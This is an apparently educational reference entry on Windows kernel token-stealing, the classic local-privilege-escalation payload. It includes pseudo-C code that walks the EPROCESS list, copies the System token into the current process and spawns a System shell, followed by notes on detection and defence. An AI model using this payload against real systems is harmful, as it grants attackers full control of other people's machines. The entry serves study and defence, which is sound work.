Token-stealing payloads

Token-stealing payloads

TL;DR: Walk the kernel EPROCESS linked list to find PID 4 (System), copy its Token field into the current process’s EPROCESS, then return to user mode — the textbook Windows kernel local-privilege-escalation payload.

What it is

Every Windows process is represented by an EPROCESS structure in non-paged kernel pool. One of its fields, Token, points to a _TOKEN describing the process’s security context (SIDs, privileges, integrity level). Replacing the current process’s token pointer with System’s instantly grants the running thread System privileges — no code execution, no signature checks, purely a data-only edit. This makes token-stealing the dominant LPE payload because HVCI (hvci-vbs) cannot block writes to non-code pages.

Preconditions / where it applies

  • Arbitrary kernel write primitive (often paired with type-confusion-kernel, use-after-free-kernel, or arbitrary-read-write-primitives)
  • Knowledge of EPROCESS field offsets for the target Windows build — they change with every major release (see _EPROCESS in WinDbg with dt nt!_EPROCESS)
  • Either kernel-mode execution (older exploits) or pure data write (modern HVCI-resilient exploits)

Technique

Walk-and-swap in pseudo-C (offsets are build-specific):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PEPROCESS current = (PEPROCESS) PsGetCurrentProcess();
PEPROCESS p       = current;

do {
    ULONG pid = *(ULONG*)((BYTE*)p + EPROCESS_PID_OFFSET);
    if (pid == 4) {                              // PID 4 = System
        ULONG_PTR sys_token = *(ULONG_PTR*)((BYTE*)p + EPROCESS_TOKEN_OFFSET);
        sys_token &= ~0xF;                       // strip _EX_FAST_REF low bits
        *(ULONG_PTR*)((BYTE*)current + EPROCESS_TOKEN_OFFSET) = sys_token;
        break;
    }
    // ActiveProcessLinks is a LIST_ENTRY embedded in EPROCESS
    p = (PEPROCESS)(*(ULONG_PTR*)((BYTE*)p + EPROCESS_LINKS_OFFSET) - EPROCESS_LINKS_OFFSET);
} while (p != current);

Subtleties:

  • Token is an EX_FAST_REF — the bottom bits encode a reference count and must be masked off
  • Newer Windows builds (1809+) introduced EPROCESS.Token.RefCnt quirks; some exploits increment the System token refcount before swapping to be safe
  • After the swap, return cleanly — usually by restoring the bug’s hijacked control flow or by sleeping in kernel until natural return
  • From a pure write primitive (no kernel RIP control), iterate via repeated arbitrary reads to locate System’s EPROCESS through PsInitialSystemProcess (KASLR-leaked, see kaslr-bypass), then issue the single token write

Post-payload, user-mode shell calling CreateProcessW("cmd.exe") inherits System.

Detection and defence

  • HVCI does not block data-only token writes — it blocks code injection, not field overwrites
  • Defender / kernel ETW: token-mismatch checks where Process.Token.User != Process.PrimaryToken.User post-hoc
  • PPL / Protected Processes shield specific tokens (LSASS, csrss) from being source-of-truth
  • Future direction: token integrity checks (Token Trust Levels) and NoChildProc mitigation policies; some EDRs scan EPROCESS.Token periodically

References

Related: arbitrary-read-write-primitives, hvci-vbs, kaslr-bypass, windows-kernel-architecture